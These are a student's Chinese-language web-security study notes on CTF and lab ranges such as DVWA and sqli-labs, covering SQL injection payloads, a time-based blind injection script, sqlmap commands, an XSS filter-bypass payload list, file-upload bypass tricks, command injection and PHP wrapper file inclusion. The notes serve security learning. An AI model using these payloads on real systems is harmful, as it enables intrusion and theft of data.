前言
这是我大三上学期个人学习的web安全漏洞笔记,学的不是特别的深入,也希望能够帮助学弟学妹们
SQL注入
SQL注入常见题型
CTF中SQL注入常见题型整理_ctf sql-CSDN博客
SQL注入的语法
CTF-Web【SQL注入】漏洞做题姿势积累 | Fan的小酒馆 (fanygit.github.io)
整数型注入
? union select group_concat(schema_name) from information_schema.SCHEMATA;
? union select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = '数据库名字';
? union select group_concat(Column_name) from information_schema.COLUMNS where TABLE_NAME = '表名字';
字符型注入
?' union select group_concat(schema_name) from information_schema.SCHEMATA;#
?' union select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = '数据库名字';#
?' union select group_concat(Column_name) from information_schema.COLUMNS where TABLE_NAME = '表名字';#
例题
第一步:判断是整型还是字符型注入
当输入1 ' or 1=1 # 时回显
第二步:判断注入的数据库有几列的数据
输入1' or 1=1 union select 1,2,3 #时回显
第三步,发现注入点在第二列,查询数据库
1' or 1=1 union select 1,(database()),3#
第四步,利用数据库名称查询数据库表有几个
1' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3 #
第五步,查询列字段
1' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3 #
第五步,爆破flag
1‘ or 1=1 union select 1,(select flag from flag),3#
报错注入
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误
和concat+rand()+group_by()导致主键重复
and extractvalue(1,concat(0x7e,database(),0x7e)) #先爆破数据库名字
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #在爆破表名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))
#再爆破列名
and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #最后爆破数据
//xpathxml
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)
布尔注入
方法一(手动注入)
布尔盲注一般流程 因为盲注不能直接用database()函数得到数据库名,所以步骤如下: ①判断数据库名的长度:and length(database())>11 回显正常;and length(database())>12 回显错误,说明数据库名是等于12个字符。 ②猜测数据库名(使用ascii码来依次判断):and (ascii(substr(database(),1,1)))>100 --+ 通过不断测试,确定ascii值,查看asciii表可以得出该字符,通过改变database()后面第一个数字,可以往后继续猜测第二个、第三个字母… ③猜测表名:'and (ascii(substr((select table_name from information_schema.tables where table.schema=database() limit 1,1)1,1)>144 --+'往后继续猜测第二个、第三个字母… ④猜测字段名(列名):and (ascii(substr((select column_name from information_schema.columns where table.schema=database() and table_name=’数据库表名’ limit 0,1)1,1)>105 --+ 经过猜测 ascii为 105 为i 也就是表的第一个列名 id的第一个字母;同样,通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段. ⑤猜测字段内容:因为知道了列名,所以直接 select password from users 就可以获取password里面的内容,username也一样 and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+
方法二:盲注
打开Burp Suite -> intercept is on 开始拦截站点 ->add intruder->添加爆破点->选择numbers进行爆破攻击
时间盲注
时间育注是什么 通过注入特定语句,根据对页面请求的物理反馈,来判断是否注入成功,如: 在SQL语句中使用sleep 函数看加载网页的时间来判断注入点。 适用场景: 没有回显,甚至连注入语句是否执行都无从得知
原理分析:
-- 有如下语句
select * from products where category = '?' and sleep(3) -- ';
-- 如果用户输入的是
-- Gifts' sleep(2) --';
-- 那么原始语句就是
select * from products where category = 'Gifts' and sleep(2) -- ';
-- 当category = 'Gifts' 有值的话,休眠两秒
-- 当category = 'Gifts' 没有值的话,直接返回
常用函数
sleep(n) -- 返0 命令中断返回1
substr(a,b,c) -- 从b为止开始截取字符串a的c长度 mid()用法相似
count() -- 计算总数
ascii() -- 返回字符的ASCII码 ord()用法类似
length() -- 返同字符中的长度
时间盲注python脚本(示例)
import requests
import time
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
Url = 'http://192.168.10.128/sqli-labs-master/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'
UrlFormat = Url.format(l) #format()函数使用
start_time0 = time.time() #发送请求前的时间赋值
requests.get(UrlFormat,headers=headers)
if time.time() - start_time0 > 2: #判断正确的数据库长度
print('database length is ' + str(l))
global length
length = l #把数据库长度赋值给全局变量
break
else:
pass
for i in range(1,length+1):
for char in chars:
charAscii = ord(char) #char转换为ascii
url = 'http://192.168.10.128/sqli-labs-master/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat,headers=headers)
if time.time() - start_time > 2:
database+=char
print('database: ',database)
break
else:
pass
print('database is ' + database)
SQLMAP
sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。
Sqlmap常用命令总结及注入实战(Access、mysql)sqlmap命令OKAY_TC的博客-CSDN博客
常用命令
1. sqlmap -u "http://www.xx.com?id=x" 【查询是否存在注入点】
2. --dbs 【检测站点包含哪些数据库】
3. --current-db 【获取当前的数据库名】
4. --tables -D "db_name" 【获取指定数据库中的表名 -D后接指定的数据库名称】
5. --columns -T "table_name" -D "db_name" 【获取数据库表中的字段
6. --dump -C "columns_name" -T "table_name" -D "db_name" 【获取字段的数据内容】
cookie注入
sqlmap -u "http://www.xx.com?id=x" --cookie "cookie" --level 2 【cookie注入 后接cookie值】
post注入
(1)目标地址http:// www.xxx.com /login.asp
(2)打开brup代理。
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap -r okay.txt -p username
// -r表示加载文件(及步骤(5)保存的路径),-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)
(7)自动获取表单:--forms自动获取表单
例如:sqlmap -u www.xx.com/login.asp --forms
(8)指定参数搜索:--data
常用指令
1. --purge 【重新扫描(--purge 删除原先对该目标扫描的记录)
2. --tables 【获取表名
3. --dbs 【检测站点包含哪些数据库
4. --current-db 【获取当前的数据库名
5. --current-user 【检测当前用户
b
6. --is-dba 【判断站点的当前用户是否为数据库管理员
7. --batch 【默认确认,不询问你是否输入
8. --search 【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)
9. --threads 10 【线程,sqlmap线程最高设置为10
10. --level 3 【sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头
的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
11. --risk 3 【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
12. -v 【详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
13. --privileges 【查看权限
14. --tamper xx.py,cc.py 【防火墙绕过,后接tamper库中的py文件
15. --method "POST" --data "page=1&id=2" 【POST方式提交数据
16. --threads number 【采用多线程 后接线程数
17. --referer "" 【使用referer欺骗
18. --user-agent "" 【自定义user-agent
19. --proxy “目标地址″ 【使用代理注入
示例(SQLMAP)脚本
步骤如下(sqlmap)
sqlmap.py -u "url" --current-db(查询数据库名称)
sqlmap.py -u "url" --tables -D "数据库名称"
sqlmap.py -u "url" --columns -D "数据库名称" -T "表名称"
sqlmap.py -u "url" --dump -D "数据库名称" -T "表名称" -C "列段名称"
UA注入
Refer注入
sqlmap.py -u "url" level 5 -p referer -D "数据库名" -T "表名" -C "列名"
XSS跨站脚本攻击
反射型xss
<script>alert(1)</script>
<script>alert(1)</script>
DVWA题目
low难度php源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
//没有任何过滤
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
<script>alert(1)</script>
medium难度php源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
//过滤了script标签,可用大小写或者双写script标签过滤
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
<SCRIPT>alert(1)</SCRIPT>
high难度php源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
//过滤了所有的script标签
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
<img src="#" onmouseover="alert(1)">
存储型xss
<script>alert(1)</script>
DOM型xss
'><img src="#" onmouseover="alert('xss')">
XSS绕过htmlspecialchars
在PHP中,htmlspecialchars()函数是一个常用的字符串处理函数,用于将字符串中的特殊字符(如<>等)转换为HTML实体,以防止跨站点脚本攻击(XSS)。
//htmlspecialchars是默认不过滤单引号的
' onmouseover='alert("xss")
XSS绕过href标签
javascript:alert(document.cookie)
附:XSS常用绕过标签
基本标签
<script>alert('xss')</script>
万能palyload
<sCr<scrscRiptipt>ipt>OonN\'\"<> //用来测试是否有限制
<script " 'Oonn>
href标签
<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>
img标签
<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">
iframe标签
<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
audio标签
<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>
video标签
<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>
button标签
<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onmouseover="alert('xss');">xss</button>
<button onmouseout="alert('xss');">xss</button>
<button onmouseup="alert('xss');">xss</button>
<button onmousedown="alert('xss');"></button>
p标签
<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>
input标签
<input onclick="alert('xss');">
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeypress="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>
select标签
<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>
form标签
<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
文件上传漏洞
文件上传漏洞是指用户上传了一个可执行的脚本文件,而且通过这个脚本文件获得了执行服务器端命令的能力。
前端校验
前端校验指的是在文件上传漏洞中的前端代码中包含了对上传文件的JavaScript校验
如题所示,前端加入了对文件上传的格式校验,直接把onsubmit校验删除即可
.htaccess绕过
.htaccess文件,全称是超文本入口,提供了针对目录改变配置 的方法,即在一个特定的文档目录中放置一个包含一个或多个指令 的文件,以作用于此目录及其所有子目录。作为用户,所能使用 的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置
<li id="show_code">
<h3>代码</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
</code>
</pre>
</li>
打开bp抓包,把2.htaccess改成.htaccess,上传到该服务器
htaccess内容为:
AddType application/x-httpd-php .jpg//把所有传入服务器的.jpg文件当作php文件看待
Content-Type绕过
所谓Content-Type就是互联网媒体类型也就是MIME类型比如以下类型以及其它等等
HTML: text/html JPEG: image/jpeg GIF: image/gif JS文档: application/javascript
题目源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
上传php文件,bp抓包修改content-type字段为image/png
发包
黑名单绕过
所谓黑名单就是限制了哪些不可以,除了不可以的都可以。所以我们只要构造黑名单之外的后缀名即可绕过
以下是举例的所有后缀文件名
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
题目源码:
<li id="show_code">
<h3>代码</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
</code>
</pre>
</li>
分析题目,array里面存的是白名单,可以用php的衍生名绕过此次认证,此次用的是PHP3衍生后缀名
大小写绕过
windows 系统会忽略大小写。而Linux系统默认对大小写敏感,如忽略则需要特殊配置根据它对名字的过滤,正确写出没有被过滤的文件名字,即可上传一个webshell
题目源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
该题目没有对文件进行大小写过滤,所以可以用黑名单中不存在的大写过滤
空格绕过
Windows下xx.jpg[空格] 或者xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认去除空格或点
题目源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
上传shell.php文件
使用bp抓包,在文件名后面添加一个空格,实现空格绕过
点绕过
同空格绕过一样,Windows下xx.jpg[空格] 或者xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认去除空格或点
源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
同样上传shell.php,使用bp抓包,修改文件名
::$DATA绕过
利用条件: windows server + php,php在windows的时候如果文件名+"::$DATA"会把其之后的数据 当成文件流处理,不会检测后缀名。 且保持":: $DATA"之前的文件名,他的目的就是不检查后缀名…
题目源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
同样上传shell.php文件使用bp抓包后修改文件名,在文件名后加上::$DATA
点空格点组合绕过
利用验证规则不完善导致我们可以使用文件名.的方式进行绕过.
题目源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
同上,上传shell.php文件使用bp抓包修改文件名
双写绕过
waf 常用手段
服务端逻辑对不合法的后缀名进行了替换为空
那我们可以扩充下思路
例如后端限制了php,如果发现我们上传的文件名后缀为php 就替换为空
a.php -> .php -> a a.pphphp ->php -> a.php
题目源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
同上,上传shell.php使用bp抓包修改文件后缀
%00截断绕过(GET方式)
PHP <= 5.3.4
php.ini magic_quotes_gpc = Off
利用手动添加字符串标识符的方式来将后面的内容进行截断 ,而后面的内容又可以帮助我们绕过检测
在GET请求直接加 在POST请求需要改二进制
题目源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
//文件在此处开始截断
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
函数分析:
string 必需。规定要返回其中一部分的字符串。 start 必需。规定在字符串的何处开始。 正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾开始的指定位置开始 0 - 在字符串中的第一个字符处开始 length 可选。规定被返回字符串的长度。默认是直到字符串的结尾。 正数 - 从 start 参数所在的位置返回的长度 负数 - 从字符串末端返回的长度
源码分析:
此源码不同于前面的是,作者这次设置了白名单,除了白名单之内所有后缀名都不能进行上传。 作者首先提取了文件的后缀名(从获得到名字的字符串里面,从中检索点最后一次出现的位置来进行截取后缀名) 然后进行移动文件,但是此关移动文件的路径是由GET方式得到的,所以是可控的
通关思路:
我们可以运用%00来进行截断,且直接将想要上传的文件拼接到save_path变量中。
首先我们上传的是一个php文件,首先要抓包更改它的后缀名来绕过白名单验证,并且因为源码告诉我们它的保存路径是拼接的,所以我们直接可以在可控的部分直接输入文件名,并且用%00截断来截断后面那些多余的内容
同上,先上传shell.php文件,使用bp抓包,
文件上传的防御
命令注入
简介
命令注入漏洞和SQL注入、XSS漏洞很相似,也是由于开发人员考虑不周造成的,在使用web应用程序执行系统命令的时候对用户输入的字符未进行过滤或过滤不严格导致的,常发生在具有执行系统命令的web应用中,如内容管理系统(CMS)等。
常用符号
DOS在一行中执行多条命令需使用的符号:
&&:只有当前面的命令执行成功才执行后面的命令
&:无论怎样总执行后面的命令
||:只有当前面的命令执行失败才执行后面的命令
|:将前面命令执行的输出作为后面命令执行的输入
DVWA靶场演示
Low等级
题目分析:
low级别的代码接收了用户输入的ip,然后根据服务器是否是Windows NT系统,对目标ip进行不同的ping测试。
但是这里对用户输入的ip并没有进行任何的过滤,所以我们可以进行命令执行漏洞
我们输入:
192.168.6.1&ipconfig
Medium等级
题目源码:
题目分析:
可以看到,medium级别的代码在low级别的代码上增加量了对 && 和 ;的过滤,
但并未过滤&,|,||
我们输入:
192.168.6.1&ipconfig
同样获得上面的结果
High等级
题目源码:
源码分析:仔细查看过滤代码发现”|”后面有个空格,因此当输入”127.0.0.1 |net view”,一样可以攻击,”|”是管道符,意思是将前者处理后的结果作为参数传给后者。
192.168.6.1 |ipconfig
效果如上
文件包含
概念:
文件包含分类:
1.本地文件包含(Local File Include)** 2.远程文件包含(Remote File Include) ——需开启PHP文件中的allow_url_include=on和allow_url_fopen=on**
文件包含两种包含方法
绝对路是: 1)http://192.168.67.143/dvwa/vulnerabilities/fi/page=E:\phpStudy\WWW\dvwa\php.ini(E:\phpStudy\WWW是绝对的) 2)http://192.168.67.143/dvwa/vulnerabilities/fi/page=http://192.168.67.143/dvwa/php.ini (和1)同理) 相对路径: 1)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=..\..\..\dvwa\phpinfo.php 2)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=..\..\..\dvwa\php.ini 3)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=../../../dvwa/php.ini (和2是等效的) 注:..\是不可以随意不限制个数的,是要在已知绝对路径基础上 (知道绝对路径的层次不知道每层所存放的具体文件位置)
以PHP为例,常用的文件包含函数有以下四种 include(),require(),include_once(),require_once()
require():找不到被包含的文件会产生致命错误,并停止脚本运行 include():找不到被包含的文件只会产生警告,脚本继续执行 require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含 include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
PHP伪协议
file://协议
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
php://协议
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input php://filter用于读取源码。 php://input用于执行php代码。
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。 利用条件:
allow_url_fopen :off/on allow_url_include:off/on
ZIP://协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换) 只需要是zip的压缩包即可,后缀名可以任意更改。 相同的类型还有zlib://和bzip2:// 利用条件:
allow_url_fopen :off/on allow_url_include:off/on
data://协议
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数: 利用条件:
allow_url_fopen :on allow_url_include:on
伪协议利用条件
文件包含漏洞防护
1、使用str_replace等方法过滤掉危险字符
2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
3、php版本升级,防止%00截断
